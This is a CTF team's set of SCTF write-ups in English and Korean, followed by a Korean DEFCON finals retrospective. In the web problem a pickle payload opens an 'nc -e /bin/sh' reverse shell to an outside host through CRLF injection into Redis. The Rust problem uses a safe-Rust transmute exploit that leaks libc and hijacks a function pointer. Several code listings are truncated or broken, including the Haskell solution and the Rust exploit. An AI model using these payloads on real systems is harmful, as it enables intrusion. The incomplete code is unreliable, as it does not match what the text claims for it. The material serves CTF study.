Code Golf

Code Golf is a problem about writing a short Haskell code. We have to write a function g, which takes a list of strings as an argument and returns a single string. The given strings have a few holes in them, such as "ha m" and "ck m". Function g needs to find offsets for each strings, overlay them, and return it.

The rules for the correct answer are as follows:

  1. The correct offset will never cause two characters to occupy the same column.
  2. The correct offset will minimize the length of the final text after trimming leading and trailing spaces.
  3. If there are multiple possible decryptions that follow the above rules, the lexicographically first one is correct.
  4. The length of the answer code should not exceed 181 bytes.

According to the rules, the answer for ["ha m", "ck m"] is "hackme".

This is our 176 bytes solution for the problem.

' '?y=y
x?' '=x
g a=snd$minimum$(#)""=<<permutations a

We defined four functions, ?, ??, #, and g.

? is a character overlay function. If one of them is a blank character, it will return the other character. Otherwise, it will return ~. Here, tilde has no special meaning and is used as a placeholder.

?? is a string overlay function. It compares the characters in two strings one by one and overlay them with function ?. If one of them is shorter then the other one, it will concat the rest of the string to the result.

# defines the main algorithm. It takes two arguments a and b. a is the remaining suffix and b is the list of remaining strings. Its return value is the list of all possible non-overlapping overlay result as a pair, whose first value is the length of a string and the second value is the string. We utilized Haskell list comprehension to perform pattern matching and condition check at once.

Finally, function g plugs in all possible permutations of the input strings to #, finds the shortest and lexicographically first answer, and return it.


Sandstone is a problem about writing a Rust code that invokes syscall(0x1337) in a sandboxed environment. Usually, the main goal of this kind of problems is finding a vulnerability in the sandbox logic, but this problem is not about that. Rust is a memory-safe language by default. It allows an additional unsafe operations, such as calling foreign functions or dereferencing a raw pointer, only in an unsafe {} block, which is prohibited in this problem.

We first observed that the problem turns on an optional feature called nll in nightly Rust, which stands for Non Lexical Lifetime (it is a Rust specific term, and it doesn’t matter if you don’t know what it means). We thought there must be a unsoundness hole in this feature, which will allow us to write syscall(0x1337) in safe Rust. Therefore, we searched for issues with NLL-sound tag in the Rust repository. The description for the tag is Working towards the "invalid code does not compile" goal which seems like a perfect match for our situation. However, we didn’t find anything that looks easily applicable to this problem.

Then, we changed our target to I-unsound 💥 tag and found the issue Coherence can be bypassed by an indirect impl for a trait object #57893. There was a comment which includes a std::mem::transmute implementation in Safe Rust, which allows unrestricted conversion between any Rust types.

The transmute() implementation allowed us to search through the stack memory for a libc pointer. After that, we calculated the address of the syscall funcion from the leaked pointer. Finally, we overwrote a safe function pointer with syscall address and called it with an argument 0x1337.

This is our main exploit code:

const PTR_SIZE: usize = std::mem::size_of::<usize>();
fn read_val(addr: usize) -> usize {
    *transmute::<*mut usize, &mut usize>(addr as *mut usize)
fn find_index(base_ptr: usize) -> usize {
    let pattern = [0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1];
    let mut start_index = 0;
    loop {
        let start_ptr = base_ptr + PTR_SIZE * start_index;
        if (0..pattern.len()).into_iter().all(|index| {
            let val = read_val(start_ptr + PTR_SIZE * index);
            if pattern[index] == 0 {
                val == 0
            } else {
                val > 0
        }) {
            let target_index = start_index + 11;
            let target_ptr = base_ptr + PTR_SIZE * target_index;
            println!("{:03} 0x{:016x} - {:016x}", target_index, target_ptr, read_val(target_ptr));
            return target_index;
        start_index += 1;
fn fake_syscall(arg: usize) {
fn update(ptr: &mut fn(usize), val: usize) {
    let ptr_ref = transmute::<_, &mut usize>(ptr);
    *ptr_ref = val;
fn poc() {
    let stack = 0xabcdef0123456789usize;
    let mut ptr = (&stack as *const usize) as usize;
    println!("Current stack pointer: 0x{:016x}", ptr);
    let count = 200;
    ptr -= PTR_SIZE * count;
    let base_ptr = ptr;
    for i in 0..count {
        println!("{:03} 0x{:016x} - {:016x}", i, ptr, read_val(ptr));
        ptr += PTR_SIZE;
    let lib_target_index = find_index(base_ptr);
    let lib_base = read_val(base_ptr + PTR_SIZE * lib_target_index) - 0x151e0;
    println!("lib{} base addr: 0x{:016x}", 'c', lib_base);
    let syscall_addr = lib_base + 0x1172d0;
    println!("lib{} syscall addr: 0x{:016x}", 'c', syscall_addr);
    let mut syscall_ptr: fn(usize) = fake_syscall;
    update(&mut syscall_ptr, syscall_addr);
    println!("Please give me the flag");
    loop {

According to the flag, the intended solution was to use Pattern guard can consume value that is being matched #31287.

Mic Check

Category: none
Difficulty: easy
Solvers: 533

The problem description contains the flag. It gives information about the format of the flags.

Flag: SCTF{you_need_to_include_SCTF{}_too}


Category: defense
Difficulty: easy
Solvers: 141

The problem asks us to fix a vulnerable Solidity smart contract. I patched four functions.

  • Check sender’s balance in donate function
  • Avoid integer overflow in multiTransfer function
  • Use msg.sender instead of tx.origin in deliver function
    • tx.origin returns the address that kicked off the transaction, not the address of the caller. Therefore, if the contract owner triggers a smart contract which is under an attacker’s control, the attacker can invoke our deliver function in their contract with malicious parameters and pass through tx.origin check.
  • Prevent reentrancy attack in withdraw function by swapping line 22 and 23
    • An attacker can setup a fallback function that calls withdraw to perform reentrancy attack on the contract. When the attacker calls withdraw function, will invoke the attacker’s fallback function and the control flow will enter withdraw function again. The balance update of the first call has not happened at the time of the balance check of the second call, which allows the attacker to withdraw more money than the balance.

Overall, security considerations page of the Solidity documentation was very helpful to solve this problem. The server gives us the flag when we submit the correctly patched source file.

Flag: SCTF{sorry_this_transaction_was_sent_by_my_cat}


Category: reversing
Difficulty: easy
Solvers: 94

We are given a binary file of a music game. It says that it will give the flag of the problem when we get the perfect score in the game.

The UI is updated per 20 ticks using the game data at 0x603280, and one tick is slightly longer than 0.01 seconds. We get a PERFECT judgement when a correct keypress happens exactly at an update tick. Getting one PERFECT is already nearly impossible for a human, so I wrote a python script that attaches GDB to the binary and plays the game instead of me.

It adds a breakpoint just before wgetch call in main function(line 16), finds a correct key to press(line 33-48), and patches the wgetch call with mov %eax, (keycode)(line 50-52).

When the script finishes the game with the perfect score, the FLAG region contains the flag of the problem.

Flag: SCTF{I_w0u1d_l1k3_70_d3v3l0p_GUI_v3rs10n_n3x7_t1m3}


Category: coding
Difficulty: easy
Solvers: 35

We are given a pcap file. Some TCP streams contain a lot of Client Hello messages like below:

JFIF in Random section of the handshake protocol looks familiar. It looks like a JPEG file header!

I wrote a python script to collect and concatenate random bytes in all packets from the dumped stream. TCP streams were extracted as hexdump format by right clicking a packet and choose Follow > TCP Stream. There was one more condition, though. We have to concatenate the bytes in a packet only when the response for the packet is 1.

After confirming that this approach gives a valid JPEG file, all similar streams were identified and extracted from the pcap file. This command will show all TCP streams and the number of packets belong to them in descending order:

tshark -r HideInSSL.pcap -T fields -e | sort -n | uniq -c | sort -nr

I manually checked and extracted the candidates with high counts. There were 22 of them. I had to persuade myself not to automate this, because manual work is faster at this scale but programmers like to automate everything.

Each JPEG file contains one letter of the flag. Joining them reveals the flag for the problem.

Flag: SCTF{H3llo_Cov3rt_S5L}


Category: crypto
Difficulty: easy
Solvers: 5

What_I_did file shows the scenario of the problem. A person encrypted the flag file by a binary named my_secure_encryptor. We are given the public key and the cipher text in What_I_did file, and also all instruction pointer traces (except library call) in a file named pc.log.

The binary consists of several complicated arithmetic routines with GMP, which seems to require a lot of effort to understand at first. I think that is why the number of solvers are small despite of the problem difficulty indicator is easy. Reverse engineering uncovered that they are actually elliptic-curve arithmetic functions. Once I realized this, the analysis of the binary became much easier.

These are elliptic-curve arithmetic routines in the binary:

  • 0x402019 is a curve initialization function.
    • 0x6032B0 is A, 0x6031A0 is B, and 0x6031B0 is P of curve parameters(Weierstrass form).
    • This curve is named P521.
  • 0x4018A0 is a point addition function.
    • It takes a point P(2nd parameter) and a point Q(3rd parameter).
    • It stores the result P + Q to a point(1st parameter).
  • 0x401EE8 is a multiplication function.
    • It takes a point P(2nd parameter) and a number k(3rd parameter).
    • It stores the result k \cdot P to a point(1st parameter).

0x401196 is the main encryption routine. First, the binary reads ./flag file and convert it to the point on the curve. The x coordinate will be the content of the file converted to an integer, and y coordinate will be calculated from the x coordinate using the curve equation. After the binary finds the point which corresponds to the flag, the public key and the cipher text are calculated as follows:

seed = (void *)time(0LL);
__gmp_randseed_ui(&rand_state, seed);

__gmpz_urandomb(&rand0, &rand_state, 512LL);
multiply(&g, &base, &rand0);

__gmpz_urandomb(&rand1, &rand_state, 512LL);
multiply(&pub, &g, &rand1);

__gmpz_urandomb(&rand0, &rand_state, 512LL);
multiply(&ct0, &g, &rand0);

multiply(&ct1, &pub, &rand0);
add_point(&ct1, &ct1, &flag_point);

Three random values are used here. Let’s respectively call them r_0, r_1, and r_2. These values were not recorded directly, but we can recover them using pc.log. Specifically, we can calculate the value of k for the multiplication function by investigating whether jump is taken or not at 0x401F8E. One check will reveal a bit, and repeating it reconstructs the whole value of k.

The encryption routine gives Pub = r_1 \cdot G, CT_0 = r_0 \cdot G and CT_1 = r_0 \cdot Pub + flag = r_0 \cdot r_1 \cdot G + flag. We can calculate the flag point by a formula CT_1 - r_1 \cdot CT_0. Then, the x coordinate of the point represents the content of the flag file.

Flag: SCTF{Ev3r_get_th4t_feelin9_of_dejavu_L0LOL}


Category: attack
Difficulty: medium
Solvers: 13

The main page of the website contains a text field and a submit button. Submitting a URL redirects us to view page, which renders the content in the original URL.

There is a trivial local file read vulnerability with file:// scheme. I leaked the source code of the problem with following steps:

  1. Reading file:///proc/self/cmdline gives uwsgi --ini /tmp/uwsgi.ini.
  2. /tmp/uwsgi.ini file shows that the entry source file location is /app/
  3. imports RedisSessionInterface from

/app/ and /app/ are code files for the server. The server uses Flask framework with Redis as a session backend. They also give important information about Redis interaction:

  • Python session data is stored in Redis under session:{SESSION_ID} key. Session data is pickled and base64 encoded before storing.
  • The server uses Python’s urllib to fetch data from the provided URL and saves the data in Redis with a key {REMOTE_ADDR}:{URL} with 3 seconds expiration time.

I used Python pickle deserialization as an attack vector for the problem. This payload will create a pickle, which connects a reverse shell to port 46845 of server when deserialized.

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('nc -e /bin/sh 46845',))

bad_pickle = cPickle.dumps(Exploit())
bad_pickle_b64 = base64.b64encode(bad_pickle)

Our goal is to register this malicious pickle under session:{SOME_STRING} key. Then, setting the value of our session cookie to {SOME_STRING} and visiting any webpage inside the server will trigger the deserialization of the crafted pickle.

We cannot use the server’s caching feature to inject our payload, because {REMOTE_ADDR} would never be equal to session. However, Python urllib‘s CRLF injection vulnerability makes it possible to send commands to the Redis server. When urllib reads data from a URL '\r\n SET session:' + bad_session_id + ' ' + bad_pickle_b64 + '\r\n :6379/foo', it connects to while containing a line SET session:{BAD_SESSION_ID} {BAD_PICKLE_B64} in the request packet.

$ nc -l 46845 -v
Listening on [] (family 0, port 46845)
Connection from [] port 46845 [tcp/*] accepted (family 2, sport 45784)
uid=33(www-data) gid=33(www-data) groups=33(www-data)</pre> 

Running the script successfully creates a reverse shell! ls / command shows that there exists a file named flag_dad9d752e1969f0e614ce2a4330efd6e. Reading it gives the flag for the problem.

Flag: SCTF{c652f8004846fe0e3bf9571be26afbf1}

λ: Beauty

Category: coding
Difficulty: hard
Solvers: 5

The server evaluates a lambda calculus formula that we send. There are two servers; repl server, which just executes our payload and shows the result of the evaluation, and chal server, which applies the flag term to our payload but only gives information whether timeout happened.

let ofString (s: string) =
    let encoder acc elem =
      Abs("x", Abs("y", Abs("z", Var("z") <<< Var("x") <<< Var("y"))))
      <<< (ofInt elem) <<< acc
    let castBitArr (x: char) =
      let x = int(x)
      Array.init 8 (fun i -> (x >>> i) &&& 1)
    s.ToCharArray ()
    |> castBitArr
    |> Array.fold (fun acc x -> Array.concat [x; acc]) Array.empty
    |> Array.fold encoder (Abs("x", Abs("y", Var("y"))))

This function is where the problem encodes string data as a lambda calculus term. Evaluating string true returns the first bit of the string, string false true returns the second bit, and so on. Here, true is λa.λb.a and false is λa.λb.b. The bit of the string is represented as a church numeral, which represents a nonnegative integer n as a function that takes f, x and applies f n times to x. In a nutshell, 0 is λf.λx.x and 1 is λf.λx.f x.

We can trigger timeout by calculating (λx.x x x) (λx.x x x). Let’s call this term timeout. Then, the term 'λflag.(flag %s) timeout false' % ('false ' * N + 'true') provides an oracle to n-th bit of the flag on the chal server; it reaches timeout if the bit is 1 and returns successfully in the other case. With this oracle, we can recover the whole contents of the flag.

Flag: SCTF{S0_L0ng_4nd_7h4nks_f0r_A11_7h3_L4mbd4}


Category: crypto
Difficulty: hard
Solvers: 3

The server implements a block cipher based on feistal construction. It uses three 2 bytes keys k_0, k_1, and k_2. AES based pseudo-random function is used as a round function, whose input and output are both 2 bytes. Overall, the cipher implements pseudo-random permutation of 4 bytes block. There are 16 rounds in total. The encryption routine cyclically uses k_0, k_1, k_0, k_2 and the decryption routine do the same thing with the reversed key order.

We can send maximum 1024 encryption/decryption queries, and one additional guess query at last. If we guess all three keys correctly in the last query, the server gives us the flag.

Slide attacks make it possible to tackle only one (or few) rounds of the cipher when the construction has self-similarity. In this problem, all rounds use the same round function whose domain has only 2^{16} = 65536 elements(2 bytes). Thus, slide attacks are applicable, and if we find the input and the output for one specific round, it is easy to recover the key which is used in that round.

The first step of a slide attack is to find a slid pair. We call plain text-cipher text pairs <P, C> and <P', C'> a slid pair if they satisfy two conditions Round(P) = P' and Round(C) = C'. These pairs can be found efficiently by a birthday attack.

We can leverage advanced slide attacks suggested by Alex Biryukov and David Wagner to solve this problem, namely the complementation slide and sliding with a twist.

The first step is to recover k_2. The requirements of a slid pair are:

  • R = L'
  • M = N'
  • M' = N \oplus F(M \oplus k_2)
  • R' = L \oplus F(R \oplus k_2)

We query to the server with dec(random_1 \parallel fix) and enc(fix \parallel random_2) format, both 256 times, to maximize the number of pairs that satisfies the first requirement. Then, for each pair that satisfies the first requirement, we check whether the second requirement M=N' is satisfied. Since the second requirement is a 16 bit condition, it is very likely that a pair which satisfies both first and second requirements is an actual slid pair. Based on the fact, we speculate that the found pair is a slid pair and calculate k_2 from third and fourth requirements. Reverse table of F is used in the calculation.

The next step is to recover k_0 and k_1. Note that this is a complementation slide and there are rounds where decryption routine uses k_2 and encryption routine uses k_1. However, we can also find a slid pair on this setup similarly. Let \Delta = k_1 \oplus k_2. Then, the requirements of a slid pair are:

  • R = L'
  • M = N'
  • L \oplus F(R \oplus k_0) = R' \oplus \Delta
  • N \oplus \Delta = M' \oplus F(N' \oplus k_0)

Similar to the previous step, we query the server with enc(random_1 \parallel fix) and dec(fix \parallel random_2) format, both 256 times. Once we find a pair that satisfies the first the second requirement, we calculate k_0 and k_1 from the third and fourth requirements.

We can use an equation N \oplus R' = L \oplus M' \oplus F(R \oplus k_0) \oplus F(N' \oplus k_0) to brute-force a valid k_0 value. When we have a candidate for k_0, we can calculate corresponding k_1 from \Delta and k_2.

Finally, we check again that calculated keys actually generates the collected pairs. After the verification, send the last guess query to the server and receive the flag!

Flag: SCTF{Did_y0u_3nj0y_my_5lid3r?}

문제 개요

smcauth는 Rust로 작성된 garbled circuit 구현체의 취약점을 찾아 공격하는 문제였습니다. Crypto 카테고리로 출제되었으며 대회 종료까지 총 6팀이 해결했습니다. Garbled circuit, oblivious transfer, Rust 바이너리 리버싱, 패킷 로깅 스크립트 작성, 위장 RPC 클라이언트 작성 모두 이번 문제에서 처음으로 배우고 시도한 것들이었습니다. 다양한 지식을 익히고 시도하느라 정신 없었지만, 풀면서 굉장히 즐거운 문제였습니다. 대회 종료 15분을 남기고 아슬아슬하게 해결했는데, 팀원에게 “대회 때마다 항상 아쉽게 막타를 못 치더니 성장했다”라는 평을 들었습니다(…)

Garbled circuit은 두 사람이 서로의 입력값을 모르는 상태로, 신뢰할 수 있는 제삼자(trusted 3rd-party)의 존재 없이 부울 회로 형태로 작성된 함수의 결과를 계산하는 프로토콜입니다.

Garbled circuit 프로토콜의 개략적인 동작 순서는 다음과 같습니다. 위키피디아에 좀 더 자세하게 설명되어 있으니, write-up을 읽기 전 해당 프로토콜의 동작을 이해하고 오시는 것을 추천합니다.

  1. Garbler는 회로의 모든 와이어 w_i에 대해 라벨 x_{i,0}, x_{i,1} \in X을 랜덤하게 생성합니다.
  2. Garbler는 회로의 각 게이트의 진리표를 대칭키 암호 등을 이용해 암호화해, evaluator가 진리표의 한 행만을 복호화 할 수 있도록 합니다. 예를 들어, 와이어 w_iw_j에서 입력을 받아 와이어 w_k에 출력하는 XOR 게이트가 있을 때 이 게이트는 [Enc_{x_{i,0}, x_{j,0}}(x_{k,0}), Enc_{x_{i,0}, x_{j,1}}(x_{k,1}), Enc_{x_{i,1}, x_{j,0}}(x_{k,1}), Enc_{x_{i,1}, x_{j,1}}(x_{k,0})]로 암호화 됩니다. 이를 garbling이라 부르며, 암호화된 회로를 garbled circuit이라 부릅니다.
  3. Garbler는 암호화된 회로 정보와 자신의 입력값에 해당하는 라벨을 evaluator에게 전송합니다. Evaluator는 1-2 oblivious transfer를 이용해 자신의 입력값에 해당하는 라벨을 garbler에게 요청합니다. Garbler가 가진 두 개의 라벨 중 evaluator는 단 하나의 값만을 획득할 수 있으며, garbler는 evaluator가 어떤 값을 획득했는지를 알 수 없는 전송 방식입니다.
  4. Evaluator는 자신과 garbler의 입력에 해당하는 라벨들을 이용해 garbled circuit 계산을 수행합니다. 이를 통해 회로의 최종 출력값에 대응되는 라벨(들)을 얻습니다. 마지막으로, evaluator와 garbler는 출력값의 라벨 정보를 공유해 회로의 실제 출력 결과를 알아냅니다.

Garbler는 oblivious transfer의 특성 때문에 evaluator의 입력값을 알 수 없습니다. Evaluator는 garbler의 입력에 해당하는 라벨을 가지고 있지만, 해당 라벨이 어느 값에 대응되는지를 알 수 없기 때문에 원래 입력값을 알 수 없습니다.

문제에서는 smcauth ELF 바이너리 파일 하나와 smcauth_syn.v 회로 파일 하나가 주어졌습니다. 바이너리는 verify와 auth 두 가지 모드로 동작하며, verify = garbler = server이며 auth = evaluator = client입니다. Garbled Circuit 프로토콜 자체가 안전함은 수학적으로 증명되어 있고, Rust 구현체에 문제가 있어 이를 공격해 서버 측의 비밀 키(회로 입력값)를 알아내는 문제라고 예상했습니다.

바이너리 실행 커맨드 예제는 다음과 같습니다.

./smcauth verify --netlist smcauth_syn.v --secret aaaaaaaabbbbbbbbccccccccdddddddd

바이너리는 Verilog 회로 파일 하나, 32자의 시크릿 키 하나를 입력으로 받으며 auth 모드에서는 --verifier 옵션으로 서버의 주소를 추가로 입력받습니다.

1. 입출력 관찰

로컬 환경 테스트를 통해, verify와 auth의 시크릿 키를 동일하게 입력할 경우 Jun 07 11:58:28.937 INFO authentication successful처럼 성공 메시지가 출력되며, 다르게 입력할 경우 Jun 07 11:58:40.923 WARN authentication failed처럼 실패 메시지가 출력되는 것을 확인했습니다.

모든 입력값을 OR하는 회로와 AND하는 회로 등 smcauth_syn.v 이외의 회로 파일을 시도해 보면서, netlist 옵션으로 입력하는 회로는 256 비트의 e_inputg_input을 입력으로 받아 1 비트의 output을 출력해야 한다는 것을 확인했습니다. 또한, 회로의 output 비트가 1인 경우 “authentication successful” 메시지가 출력되는 것을 통해, smcauth_syn.v는 두 입력 값이 같은 경우 1을 출력하는 회로일 것이라 추측했습니다.

2. 패킷 분석

다음으로 수행한 것은 바이너리의 패킷 분석입니다. 먼저 Wireshark를 이용해 패킷에 TLS 등의 추가 암호화가 이루어지지 않음을 확인한 이후, Verify 프로세스와 auth 프로세스가 주고 받는 패킷을 전송과 수신으로 나누어 저장하는 Python 스크립트를 작성했습니다. 패킷 캡처 라이브러리인 pcap 등의 의존성 없이, strace 커맨드의 결과값을 파싱하는 방식으로 간단하게 작성했습니다.

바이너리에 포함된 문자열을 분석해 해당 바이너리가 RPC 프레임워크로 tarpc를 사용하고 있으며, 검색을 통해 tarpc는 serdebincode를 기본 직렬화 포맷으로 사용하고 있음을 알 수 있었습니다. 회로와 시크릿 값을 바꾸어 가며 수집한 패킷들을 비교 분석하며 휴먼러닝해 서버와 클라이언트가 주고 받는 패킷의 순서와 의미가 다음과 같음을 알아냈습니다.

  1. (전송 1) 세션 초기화 요청
  2. (수신 1) Proof of work 질의
  3. (전송 2) Proof of work 결과 전송
  4. (수신 2) Garbler 입력 라벨 정보
  5. (수신 2) Garbled circuit 정보
  6. (수신 2) Oblivious transfer를 위한 RSA 키
  7. (수신 2) Oblivious transfer를 위한 랜덤값
  8. (전송 3) Oblivious transfer를 이용한 evaluator 라벨 질의
  9. (수신 3) Evaluator 라벨 정보
  10. (전송 4) 결과 라벨 전송
  11. (수신 4) 라벨에 해당하는 결과값 수신

패킷을 분석하면서 라벨 생성이 시크릿 키에 의존하며 서로 다른 세션에서도 변하지 않는다는 것을 확인했지만, 이를 직접 익스플로잇에 이용하지는 않았습니다. RPISEC이나 upbhack 등 다른 팀은 이 특성을 이용해 디버거를 붙여 입력을 브루트포싱하는 방식으로 시크릿 키를 알아낸 것으로 보입니다.

저는 evaluator의 라벨 정보를 가져오는 RPC 프로시저를 두 번 호출해 evaluator의 모든 라벨을 알아내는 방식으로 접근했습니다. Evaluator의 모든 라벨을 알고 있다면 garbled circuit의 한 행만이 아니라 여러 행을 복호화 할 수 있고, 이를 반복해 필요한 모든 와이어의 상태를 복구할 수 있습니다. 이를 통해 출력 와이어를 원하는 결과로 만드는 입력값을 SMT solver를 이용해 역연산 하는 것을 목표로 삼았습니다.

3. 위장 RPC 클라이언트 작성

패킷 분석의 다음 단계는 RPC 프로시저를 두 번 호출하는 위장 RPC 클라이언트를 작성하고, 라벨과 회로 정보를 SMT solver가 취급하기 쉬운 형태로 출력하는 스크립트를 작성하는 것이었습니다. 패킷 분석을 통해 정보가 어떤 순서로 오고 가는지는 파악하고 있었으나, garbled circuit의 계산 및 oblivious transfer이 실제로 어떻게 이루어지는지는 패킷 분석만으로 알아낼 수 없기 때문에 바이너리를 리버스 엔지니어링 해야 했습니다.

삽질과 시행착오를 통해, 7A760이 oblivious transfer 관련 로직이며 2EE70이 garbled circuit 계산 관련 로직임을 알아냈습니다. 해당 함수를 분석해 다음 정보들을 알아냈습니다.

  • RSA-based oblivious transfer는 Udacity의 Applied Cryptography 과목의 영상에 설명된 것과 동일하게 동작하는 것을 확인했습니다.
  • Garbled circuit의 계산은 두 입력 라벨을 XOR한 결과를 AES-256의 키로 사용해, ECB + PKCS#7 모드로 블록을 복호화하고, 복호화된 블록의 길이가 32 바이트인 것을 체크한 뒤 해당 결과를 출력 라벨로 취급되는 것을 확인했습니다.

작성된 최종 스크립트는 다음과 같습니다.

첫 번째 통신인 proof of work 계산까지는 클라이언트와 서버 사이의 프록시로 작동하며 클라이언트의 입력값을 그대로 서버에 전달합니다(43~70행). 이를 통해 proof of work 리버싱을 건너뛸 수 있었으며, RPC 프로토콜에 사용되는 클라이언트 ID를 수집합니다(62행).

(수신 2)부터는 클라이언트에 의존하지 않고, 분석한 정보에 따라 패킷 역직렬화를 주도적으로 수행합니다(72~116행). 그 다음으로는 해당 스크립트의 핵심이라 할 수 있는 oblivious transfer를 두 번 호출하는 부분이 이어집니다(118~154행).

획득한 라벨을 이용해 garbled circuit 계산을 수행하고(188~208행), 이를 SMT solver가 다시 파싱하기 쉬운 형태로 출력합니다(210~229행). 이를 통해 출력된 SMT 정보는 다음과 같습니다.


해당 파일에서 e_input을 제외하고, 모든 와이어의 0과 1은 실제 입력값과는 상관 없이 임의로 붙인 변환값입니다. 이 변환을 통해 SMT solver를 호출하는 단에서는 라벨을 이용한 계산을 부울 함수 형태로 취급할 수 있습니다.

4. SMT solver

마지막 단계는 SMT solver를 이용해 회로의 출력을 1로 만드는 시크릿 키를 찾는 것입니다. z3의 Python 바인딩을 이용했습니다. 와이어 output의 0과 1 중 어느 것이 원래 회로의 1에 대응되는지 모르기 때문에, 두 가능성을 모두 시도해 보아야 합니다(44행).


올해는 hacking4soju, 그레이해시, 삼성 소프트웨어 센터와 함께 연합해 hacking4danbi 팀으로 대회에 출전했다. 작년에는 그레이해시와 PLUS의 연합 팀인 playhash로 진출해 아쉽게 예선 통과에 실패했었는데, 올해는 성공적으로 본선에 나갈 수 있었다. 특히 해외 팀과의 연합으로 예선 때 사이클이 잘 맞아서 우리가 잘 때 hacking4soju에서 문제를 풀어주거나, 그 쪽 새벽 시간대에 우리가 활발하게 문제를 풀었다.

대회는 라스베가스에서 3일간 열리지만, 올해는 대회가 legitBS 팀의 커스텀 아키텍처인 cLEMENCy 아키텍처를 기반으로 문제가 출제될 것으로 예고되어 있었고 아키텍처 정보가 대회 24시간 전에 공개되어 사실상 4일 대회라 봐야 했다. 대회 방식은 Attack & Defense로 첫 두 날은 8시간 정도, 마지막날은 4시간으로 짧게 끊는 스케줄이었다.

대회 전에 PLUS 멤버들은 ndh 아키텍처를 기반으로 IDA 로더, ROP gadget, binary diff 툴 등의 설계를 연습해 갔다. 나는 x64 아키텍처로 컨버팅 하는 부분을 준비했다. 하지만 cLEMENCy 아키텍처가 9bit, middle-endian으로 작정하고 더럽게 나와서 컨버팅을 제대로 처리할 수가 없었다. 아키텍처가 공개되었을 때 9bit aligned instruction은 처리할 수 있었지만 middle-endian 메모리 액세스를 효율적으로 처리할 수 없고, 작업량이 많아 대회 전에 끝낼 수 없을 것 같아 컨버팅은 포기하고 다른 툴링에 집중했다. 우리는 어셈블러, 디스어셈블러, ROP gadget, 웹 기반 CFG 분석 도구를 준비했고 꽤 잘 준비한 편일거라 생각했지만 다른 팀들이 준비한 수준도 굉장히 높아 깜짝 놀랐다.

대회장 안에 자리는 팀별로 총 8자리가 준비되어 있었고, PLUS 학부생 멤버는 그 중 두 자리를 할당 받았다. 나는 세 날 모두 들어갔고 다른 멤버로 첫 두 날에는 ebmoon이, 마지막 날에는 flamehaze가 참가했다. 처음에는 대회장에 들어가는게 exploit 경험이 많은 멤버가 들어가야 한다고 생각했으나, 대회를 마치고 나서 대회장 내에는 모니터링 및 커뮤니케이션 담당을 두고 실력이 좋은 멤버들이 편한 환경에서 작업할 수 있게 하는게 중요하다는 것을 깨달았다. PPP 박세준님의 후기에도 비슷한 내용이 있었다.

처음에 나는 하루나 하루 반 정도 대회장에 들어가보고 다른 멤버들을 들여보내려 했었다. 하지만 첫 날의 대회 결과에 대해 논의하는 과정에서 패치를 한 군데서 관리할 필요성이 제기되었고, 내가 패치 및 모니터링을 담당하게 되어 대회 끝날때까지 대회장에서 공격 및 수비 모니터링과 대회장 내외 커뮤니케이션 역할을 맡았다. Attack & Defense 방식과 망분리 환경에 익숙하지 않아 따로 모니터링 도구가 필요할 거라고 생각하지 않아서 관련 도구 개발을 대회 둘째 날부터 시작했는데 이를 미리 준비했더라면 첫 날에 더 나은 성적을 냈을 거라 생각한다. 팀이 흩어져 있어 정보가 잘 공유되지 않다보니 현재 공격/수비 상황을 알지 못해 팀원들끼리 전략적으로 문제에 집중하지 못했던 점이 아쉽다. 올해는 중하위권인 11위로 마무리했는데 다음해 또 나올 기회가 된다면 더 잘할 수 있을 것이라 생각한다.

이번 대회를 거치며 다양한 분들에게 도움을 받았다. 왕복 항공료는 삼성 소프트웨어 센터에서 지원을 받았고, 숙소는 POSTECH 학생지원팀의 지원을 받아 개인 부담이 크지 않게 국제 대회에 다녀올 수 있었다. 그레이해시 측에서도 함께 대회를 하기 좋은 큰 방을 잡아 주시고 대회에 필요한 장비를 준비해 주셔서 좀 더 쾌적한 환경에서 대회를 진행할 수 있었다. 금전적인 지원 뿐 아니라 같이 대회를 나가며 어깨 너머로 배운 지식들도 추후 동아리 활동을 하면서 큰 도움이 될 것이라 생각한다.

이번 참가에서 가장 인상 깊었던 부분 중 하나는 커뮤니티가 주도하는 대회와 컨퍼런스 방식이었다. 맥주를 마시며 농담을 섞어 가며 컨퍼런스 결과를 발표하고, 직접 그 대회를 준비한 사람들에게 찬사가 돌아가고 격식없이 서로를 대하는 모습이 대회와 전혀 상관 없는 의전 행사만 한 시간이 넘는 국내 대회들과 비교되었다. 해외 대회들이 국내 대회를 의식해 선수 대우를 더 강화했듯이, 국내 대회들도 해외 대회의 좋은 점을 보며 서로 발전했으면 좋겠다고 생각한다.

이번 DEFCON 본선에 참가하며 국제대회 Qualification을 통과한 것도 처음, 동아리 이외의 사람들과 함께 해킹을 해본 것도 처음, 세계 유명 팀들과 얼굴을 보며 경쟁을 해 본 것도 처음, 여러모로 처음이 많은 대회였다. 대학에 입학하고 2년동안 방학마다 합숙에 참가하며 짧다면 짧고 길다면 길게 해킹을 공부해 왔는데, 다시 초심으로 돌아가 해킹이라는 분야에 대해 한 번 더 생각해 보는 계기가 되었다.

많은 것을 보고 듣는 시간이었고, 세상이 넓다는 것을 다시 한 번 느꼈다.